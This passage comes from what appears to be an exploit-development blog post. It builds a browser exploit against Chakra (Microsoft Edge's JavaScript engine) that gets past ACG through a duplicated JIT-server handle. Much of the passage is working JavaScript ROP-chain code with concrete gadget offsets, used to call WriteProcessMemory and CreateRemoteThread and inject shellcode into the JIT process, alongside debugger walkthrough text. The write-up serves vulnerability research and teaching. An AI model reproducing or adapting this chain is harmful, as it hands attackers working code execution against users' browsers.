<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x255fa0</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPCVOID lpBuffer (R8) (shellcode in chakra.dll .data section)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>    	  <span class="c1">// .data section of chakra.dll holding our shellcode</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!WriteProcessMemory</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x79a40</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!WriteProcessMemory address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
</code></pre></div></div>

<p>Our ROP chain starts with the following gadget:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
</code></pre></div></div>

<p>This gadget is also used four times before our first gadget within the <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> ROP chain. So, we will re-execute our updated exploit and set a breakpoint on this gadget and hit <code class="language-plaintext highlighter-rouge">g</code> in WinDbg five times in order to get to our intended first gadget (four times to “bypass” the other uses, and once more to get to our intended gadget).</p>

<p><img src="/images/3typeconfusion106.png" alt="" /></p>

<p>Our first ROP sequence in our case is not going to actually involve <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code>. Instead, we are going to store our <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> allocation (which should still be in RAX, as our previous ROP chain called <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code>, which places the address of the allocation in RAX) in a “permanent” location within the <code class="language-plaintext highlighter-rouge">.data</code> section of <code class="language-plaintext highlighter-rouge">kernelbase.dll</code>. Think of this as we are storing the allocation returned from <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> in a “global variable” (of sorts):</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we will store VirtualAllocEx allocation</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
<span class="nx">next</span><span class="p">();</span>
</code></pre></div></div>

<p><img src="/images/3typeconfusion107.png" alt="" /></p>

<p><img src="/images/3typeconfusion108.png" alt="" /></p>

<p><img src="/images/3typeconfusion109.png" alt="" /></p>

<p>At this point we have achieved persistent storage of <em>where</em> we would like to allocate our shellcode (the value returned from <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code>). We will be using RAX in our ROP chain for <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code>, so in this case we persistently store it so we do not “clobber” this value with our ROP chain. Having said that, our first item on the <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> docket is to place the size of our write operation (~ <code class="language-plaintext highlighter-rouge">sizeof(shellcode)</code>, of <code class="language-plaintext highlighter-rouge">0x1000</code> bytes) into R9 as the <code class="language-plaintext highlighter-rouge">nSize</code> argument.</p>

<p>We start this process, of which there are many examples in this blog post, by placing a writable address in RAX which we do not care about, to grant us access to the <code class="language-plaintext highlighter-rouge">mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</code> gadget. This allows us to place our intended value of <code class="language-plaintext highlighter-rouge">0x1000</code> into R9.</p>

<p><img src="/images/3typeconfusion110.png" alt="" /></p>

<p><img src="/images/3typeconfusion111.png" alt="" /></p>

<p>Our call to <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> is now in the following state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">WriteProcessMemory</span><span class="p">(</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)</span>				<span class="c1">// Size of our shellcode</span>
	<span class="o">-</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Next up in our ROP sequence is the <code class="language-plaintext highlighter-rouge">hProcess</code> parameter, also known as our <code class="language-plaintext highlighter-rouge">PROCESS_ALL_ACCESS</code> handle to the JIT server. We can simply just fetch this from the <code class="language-plaintext highlighter-rouge">.data</code> section of <code class="language-plaintext highlighter-rouge">chakra.dll</code>, where we stored this value as a result of our <code class="language-plaintext highlighter-rouge">DuplicateHandle</code> call.</p>

<p><img src="/images/3typeconfusion112.png" alt="" /></p>

<p>You’ll notice there is a <code class="language-plaintext highlighter-rouge">mov [rax+0x20], rcx</code> write operation that will write the contents of RCX into the memory address, at an offset of <code class="language-plaintext highlighter-rouge">0x20</code>, in RAX. You’ll recall we “prepped” RAX already in this ROP sequence when dealing with the <code class="language-plaintext highlighter-rouge">nSize</code> parameter - meaning RAX already has a writable address, and the write operation will not cause an access violation (e.g. writing to a <em>non-writable</em> address).</p>

<p>Our call to <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> is now in the following state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">WriteProcessMemory</span><span class="p">(</span>
	<span class="n">fulljitHandle</span><span class="p">,</span> 					<span class="c1">// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)</span>				<span class="c1">// Size of our shellcode</span>
	<span class="o">-</span>
<span class="p">);</span>
</code></pre></div></div>

<p>The next parameter we are going to deal with is <code class="language-plaintext highlighter-rouge">lpBaseAddress</code>. In our call to <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code>, this is the address within the process denoted by the handle supplied in <code class="language-plaintext highlighter-rouge">hProcess</code> (the JIT server process where ACG is <em>disabled</em>). We control a region of one memory page within the JIT process, as a result of our <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> ROP chain. This allocation (which resides in the JIT process) is the address we are going to supply here.</p>

<p>This ROP sequence is <em>slightly</em> convoluted, so I will provide the snippet (which is already above) directly below for continuity/context:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// LPVOID lpBaseAddress (RDX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="o">-</span><span class="mh">0x8</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we have our VirtualAllocEx allocation</span>
<span class="nx">next</span><span class="p">();</span>                                                                            <span class="c1">// (-0x8 to compensate for below where we have to read from the address at +0x8 offset</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x255fa0</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
</code></pre></div></div>

<p>We can simply <code class="language-plaintext highlighter-rouge">pop</code> the address where we stored the address of our JIT process allocation (via <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code>) into the RDX register. However, this is where things get “interesting”. There were no good gadgets within <code class="language-plaintext highlighter-rouge">chakra.dll</code> to <em>directly</em> dereference RDX and place it into RDX (<code class="language-plaintext highlighter-rouge">mov rdx, [rdx] ; ret</code>). The only gadget to do so, as we see above, is <code class="language-plaintext highlighter-rouge">mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret</code>. We can see we are able to dereference RDX and store it in RDX, but not via RDX <em>directly</em> instead, we have the ability to take whatever memory address is stored in RDX, at an offset of <code class="language-plaintext highlighter-rouge">0x8</code>, and place this into RDX. So, we do a bit of math here. If we <code class="language-plaintext highlighter-rouge">pop</code> our <code class="language-plaintext highlighter-rouge">jit_allocation-0x8</code> into RDX, when the <code class="language-plaintext highlighter-rouge">mov rdx, [rdx+0x8]</code> occurs, it will take the value in RDX, add <code class="language-plaintext highlighter-rouge">8</code> to it, and dereference the contents - storing them in RDX. Since <code class="language-plaintext highlighter-rouge">-0x8</code> + <code class="language-plaintext highlighter-rouge">+0x8</code> = 0, we simply “offset” the difference as a “hack”, of sorts, to ensure RDX contains the base address of our allocation.</p>

<p><img src="/images/3typeconfusion113.png" alt="" /></p>

<p>Our call to <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> is now in the following state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">WriteProcessMemory</span><span class="p">(</span>
	<span class="n">fulljitHandle</span><span class="p">,</span> 					<span class="c1">// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">VirtualAllocEx_Allocation</span><span class="p">),</span>		<span class="c1">// Address of our return value from VirtualAllocEx (where we want to write our shellcode)</span>
	<span class="o">-</span>
	<span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)</span>				<span class="c1">// Size of our shellcode</span>
	<span class="o">-</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Now, our next item is to knock out the <code class="language-plaintext highlighter-rouge">lpBuffer</code> parameter. This is the easiest of our parameters, as we have already stored the shellcode we want to copy into the remote JIT process in the <code class="language-plaintext highlighter-rouge">.data</code> section of <code class="language-plaintext highlighter-rouge">chakra.dll</code> (see “Shellcode” section of this blog post).</p>

<p><img src="/images/3typeconfusion114.png" alt="" /></p>

<p><img src="/images/3typeconfusion115.png" alt="" /></p>

<p>Our call is now in the following state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">WriteProcessMemory</span><span class="p">(</span>
	<span class="n">fulljitHandle</span><span class="p">,</span> 					<span class="c1">// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">VirtualAllocEx_Allocation</span><span class="p">),</span>		<span class="c1">// Address of our return value from VirtualAllocEx (where we want to write our shellcode)</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">data_chakra_shellcode_location</span><span class="p">),</span>	<span class="c1">// Address of our shellcode in the content process (.data of chakra) (what we want to write (our shellcode))</span>
	<span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)</span>				<span class="c1">// Size of our shellcode</span>
	<span class="nb">NULL</span> 						<span class="c1">// Optional</span>
<span class="p">);</span>
</code></pre></div></div>

<p>The last items on the agenda are to load <code class="language-plaintext highlighter-rouge">kernelbase!WriteProcessMemory</code> into RAX and <code class="language-plaintext highlighter-rouge">jmp</code> to it, and also write our last parameter to the stack at RSP + <code class="language-plaintext highlighter-rouge">0x28</code> (NULL/<code class="language-plaintext highlighter-rouge">0</code> value).</p>

<p><img src="/images/3typeconfusion116.png" alt="" /></p>

<p>Now, before we hit the <code class="language-plaintext highlighter-rouge">jmp rax</code> instruction to jump into our call to <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code>, let’s attach <em>another</em> WinDbg debugger to the JIT process and examine the <code class="language-plaintext highlighter-rouge">lpBaseAddress</code> parameter.</p>

<p><img src="/images/3typeconfusion117.png" alt="" /></p>

<p>We can see our allocation is <em>valid</em>, but is not set to any value. Let’s hit <code class="language-plaintext highlighter-rouge">t</code> in the content process WinDbg session and then <code class="language-plaintext highlighter-rouge">pt</code> to execute the call to <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code>, but pausing before we return from the function call.</p>

<p><img src="/images/3typeconfusion118.png" alt="" /></p>

<p><img src="/images/3typeconfusion119.png" alt="" /></p>

<p>Now, let’s go <em>back</em> to the JIT process WinDbg session and re-examine the contents of the allocation.</p>

<p><img src="/images/3typeconfusion120.png" alt="" /></p>

<p>As we can see, we have our shellcode mapped into the JIT process. All there is left now (which is a slight misnomer, as it is several more chained ROP chains) is to force the JIT process to mark this code as RWX, and execute it.</p>

<h2 id="createremotethread-rop-chain"><code class="language-plaintext highlighter-rouge">CreateRemoteThread</code> ROP Chain</h2>

<p>We now have a remote allocation within the JIT process, where we have written our shellcode to. As mentioned, we now need a way to execute this shellcode. As you may, or may not know, on Windows threads are what are responsible for executing code (not a process itself, which can be though of as a “container of resources”). What we are going to do now is create a thread within the JIT process, but we are going to create this thread in a <em>suspended</em> manner. As we know, our shellcode is sitting in readable and writable page. We first need to mark this page as RWX, which we will do in the later portions of this blog. So, for now, we will create the thread which will be responsible for executing our shellcode in the future - but we are going to create it in a suspended state and reconcile execution later. <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code> is an API, exported by the Windows API, which allows a user to create a thread in a <em>remote</em> process. This will allow us to create a thread within the JIT process, from our current content process. Here is how our call will be setup:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">CreateRemoteThread</span><span class="p">(</span>
	<span class="n">fulljitHandle</span><span class="p">,</span>			<span class="c1">// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call</span>
	<span class="nb">NULL</span><span class="p">,</span>				<span class="c1">// Default SECURITY_ATTRIBUTES</span>
	<span class="mi">0</span><span class="p">,</span>				<span class="c1">// Default Stack size</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">ret_gadget</span><span class="p">),</span>		<span class="c1">// Function pointer we want to execute (when the thread eventually executes, we want it to just return to the stack)</span>
	<span class="nb">NULL</span><span class="p">,</span>				<span class="c1">// No variable needs to be passed</span>
	<span class="mi">4</span><span class="p">,</span>				<span class="c1">// CREATE_SUSPENDED (Create the thread in a suspended state)</span>
	<span class="nb">NULL</span> 				<span class="c1">// Don't return the thread ID (we don't need it)</span>
<span class="p">);</span>
</code></pre></div></div>

<p>This call requires mostly everything to be set to <code class="language-plaintext highlighter-rouge">NULL</code> or <code class="language-plaintext highlighter-rouge">0</code>, with the exception of two parameters. We are creating our thread in a suspended state to ensure execution doesn’t occur until we explicitly resume the thread. This is because we still need to overwrite the RSP register of this thread with our final-stage ROP chain, before the <code class="language-plaintext highlighter-rouge">ret</code> occurs. Since we are setting the <code class="language-plaintext highlighter-rouge">lpStartAddress</code> parameter to the address of a ROP gadget, this effectively is the entry point for this newly-created thread and it should be the function called. Since it is a ROP gadget that performs <code class="language-plaintext highlighter-rouge">ret</code>, execution should just return to the stack. So, when we eventually resume this thread, our thread (which is executing in he remote JIT process, where ACG is <em>disabled</em>), will return to whatever is located on the stack. We will eventually update RSP to point to.</p>

<p>Here is how this looks in ROP form (with all previous ROP chains added for context):</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// alert() for debugging</span>
<span class="nx">alert</span><span class="p">(</span><span class="dl">"</span><span class="s2">DEBUG</span><span class="dl">"</span><span class="p">);</span>

<span class="c1">// Store the value of the handle to the JIT server by way of chakra!ScriptEngine::SetJITConnectionInfo (chakra!JITManager+s_jitManager+0x8)</span>
<span class="nx">jitHandle</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74d838</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>

<span class="c1">// Helper function to be called after each stack write to increment offset to be written to</span>
<span class="kd">function</span> <span class="nx">next</span><span class="p">()</span>
<span class="p">{</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Begin ROP chain</span>
<span class="c1">// Since __fastcall requires parameters 5 and so on to be at RSP+0x20, we actually have to put them at RSP+0x28</span>
<span class="c1">// This is because we don't push a return address on the stack, as we don't "call" our APIs, we jump into them</span>
<span class="c1">// Because of this we have to compensate by starting them at RSP+0x28 since we can't count on a return address to push them there for us</span>

<span class="c1">// DuplicateHandle() ROP chain</span>
<span class="c1">// Stage 1 -&gt; Abuse PROCESS_DUP_HANDLE handle to JIT server by performing DuplicateHandle() to get a handle to the JIT server with full permissions</span>
<span class="c1">// ACG is disabled in the JIT process</span>
<span class="c1">// https://bugs.chromium.org/p/project-zero/issues/detail?id=1299</span>

<span class="c1">// Writing our ROP chain to the stack, stack+0x8, stack+0x10, etc. after return address overwrite to hijack control-flow transfer</span>

<span class="c1">// HANDLE hSourceProcessHandle (RCX) _should_ come first. However, we are configuring this parameter towards the end, as we need RCX for the lpTargetHandle parameter</span>

<span class="c1">// HANDLE hSourceHandle (RDX)</span>
<span class="c1">// (HANDLE)-1 value of current process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0xffffffff</span><span class="p">,</span> <span class="mh">0xffffffff</span><span class="p">);</span>             <span class="c1">// Pseudo-handle to current process</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hTargetProcessHandle (R8)</span>
<span class="c1">// (HANDLE)-1 value of current process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x24628b</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
